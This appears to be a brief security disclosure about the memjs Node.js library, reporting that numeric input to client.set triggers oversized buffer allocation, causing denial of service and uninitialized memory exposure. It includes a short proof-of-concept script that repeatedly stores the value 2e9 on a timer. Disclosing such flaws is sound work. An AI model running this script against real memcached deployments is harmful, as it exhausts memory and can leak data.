`memjs` allocates and stores buffers on typed input, resulting in DoS and uninitialized memory usage

I would like to report a Buffer allocation vulnerability in `memjs`.

var client = require('memjs').Client.create()
function tick() {
  var value = 2e9;
  client.set('key', value, {expires: 600 }, () => {});
}
setInterval(tick, 200);
